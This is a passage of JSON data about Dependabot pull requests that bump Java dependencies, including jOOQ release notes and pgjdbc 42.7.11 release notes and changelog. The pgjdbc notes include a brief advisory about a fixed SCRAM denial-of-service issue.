href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19893\"\u003e#19893\u003c/a\u003e - NullPointerException in XMLDatabase when routine has no parameters\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19903\"\u003e#19903\u003c/a\u003e - Missing support for parsing BigQuery BIGNUMERIC and BIGDECIMAL data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19907\"\u003e#19907\u003c/a\u003e - MetaSQL tries to load check constraints, but check constraints were not yet introduced to MySQL 5.7\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19912\"\u003e#19912\u003c/a\u003e - No Teradata support for ALTER TABLE .. ADD IF NOT EXISTS and similar statements\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19916\"\u003e#19916\u003c/a\u003e - Cannot CAST from numeric to CLOB directly, in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19920\"\u003e#19920\u003c/a\u003e - Bad data type rendered for SQLDataType.LONGVARBINARY in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19924\"\u003e#19924\u003c/a\u003e - Work around Teradata JDBC driver issue where DatabaseMetaData::getColumns may produce a null type name\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19928\"\u003e#19928\u003c/a\u003e - Nested rows within MULTISET projections do not apply JSON or XML cast necessary for serialising certain data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19941\"\u003e#19941\u003c/a\u003e - DSL::isoDayOfWeek renders wrong SQL expression for MariaDB and MySQL when used in arithmetic operations\u003c/p\u003e\n\u003ch2\u003e3.19.32\u003c/h2\u003e\n\u003ch1\u003eVersion 3.20.13 - April 16, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.20 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/983be04bfe689e9ba00cbafac92f4a36c7e05e4d\"\u003e\u003ccode\u003e983be04\u003c/code\u003e\u003c/a\u003e Release 3.19.34\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/f874027834833354d35992196c9b2b0b7f2b6e9a\"\u003e\u003ccode\u003ef874027\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/09c7f2b7097c6a4aaefdebb14d25211d9d332e92\"\u003e\u003ccode\u003e09c7f2b\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/191ea40c2ab42ce46270de0ec85ecb063f738ad8\"\u003e\u003ccode\u003e191ea40\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19962\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/6fee84fa55356e38d4db2b647cbf72baa670c8de\"\u003e\u003ccode\u003e6fee84f\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/b602ce8131008aa6ddfb37339183837b3a8fdd27\"\u003e\u003ccode\u003eb602ce8\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19948\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/63ec81894526f62a7f4fb21b34211b4cd0579f3c\"\u003e\u003ccode\u003e63ec818\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/7da00449de35dc178eba36ee82e395a8ce96cf62\"\u003e\u003ccode\u003e7da0044\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19954\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/ab16ab1e4f6923c3f3fd21f2a40e549c7f307d86\"\u003e\u003ccode\u003eab16ab1\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/15a37db53aaf526f5536e02f4d16f51b185b21be\"\u003e\u003ccode\u003e15a37db\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19943\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jOOQ/jOOQ/compare/version-3.19.31...version-3.19.34\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.flywaydb.flyway` from 12.4.0 to 12.6.2\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Kairyx-dev/KorConverterBot-SpringBoot/pull/51","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Kairyx-dev%2FKorConverterBot-SpringBoot/issues/51","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/51/packages"},{"uuid":"4510582148","node_id":"PR_kwDOI64WQs7eu12c","number":506,"state":"closed","title":"Bump the safe-patch-updates group across 1 directory with 19 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-31T05:14:54.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-24T05:15:13.000Z","updated_at":"2026-05-31T05:14:56.000Z","time_to_close":604781,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"safe-patch-updates","update_count":19,"packages":[{"name":"org.slf4j:slf4j-api","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:slf4j-simple","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:jcl-over-slf4j","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.slf4j:jul-to-slf4j","old_version":"2.0.17","new_version":"2.0.18"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"com.auth0:java-jwt","old_version":"4.5.1","new_version":"4.5.2","repository_url":"https://github.com/auth0/java-jwt"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.3"},{"name":"com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-modules-base"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"org.glassfish.jaxb:jaxb-runtime","old_version":"4.0.7","new_version":"4.0.8"},{"name":"org.thymeleaf:thymeleaf","old_version":"3.1.4.RELEASE","new_version":"3.1.5.RELEASE"},{"name":"org.operaton.bpm:operaton-engine","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.operaton.bpm:operaton-engine-spring","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.operaton.bpm.model:operaton-bpmn-model","old_version":"1.1.1","new_version":"1.1.3"},{"name":"org.apache.maven:maven-core","old_version":"3.9.15","new_version":"3.9.16"},{"name":"org.apache.maven:maven-plugin-api","old_version":"3.9.15","new_version":"3.9.16","repository_url":"https://github.com/apache/maven"},{"name":"org.apache.maven.plugins:maven-enforcer-plugin","old_version":"3.6.2","new_version":"3.6.3","repository_url":"https://github.com/apache/maven-enforcer"}],"path":null,"ecosystem":"maven"},"body":"Bumps the safe-patch-updates group with 19 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| org.slf4j:slf4j-api | `2.0.17` | `2.0.18` |\n| org.slf4j:slf4j-simple | `2.0.17` | `2.0.18` |\n| org.slf4j:jcl-over-slf4j | `2.0.17` | `2.0.18` |\n| org.slf4j:jul-to-slf4j | `2.0.17` | `2.0.18` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [com.auth0:java-jwt](https://github.com/auth0/java-jwt) | `4.5.1` | `4.5.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.21.2` | `2.21.3` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.module:jackson-module-jakarta-xmlbind-annotations](https://github.com/FasterXML/jackson-modules-base) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| org.glassfish.jaxb:jaxb-runtime | `4.0.7` | `4.0.8` |\n| org.thymeleaf:thymeleaf | `3.1.4.RELEASE` | `3.1.5.RELEASE` |\n| org.operaton.bpm:operaton-engine | `1.1.1` | `1.1.3` |\n| org.operaton.bpm:operaton-engine-spring | `1.1.1` | `1.1.3` |\n| org.operaton.bpm.model:operaton-bpmn-model | `1.1.1` | `1.1.3` |\n| org.apache.maven:maven-core | `3.9.15` | `3.9.16` |\n| [org.apache.maven:maven-plugin-api](https://github.com/apache/maven) | `3.9.15` | `3.9.16` |\n| [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) | `3.6.2` | `3.6.3` |\n\n\nUpdates `org.slf4j:slf4j-api` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jcl-over-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jul-to-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:slf4j-simple` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jcl-over-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.slf4j:jul-to-slf4j` from 2.0.17 to 2.0.18\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in 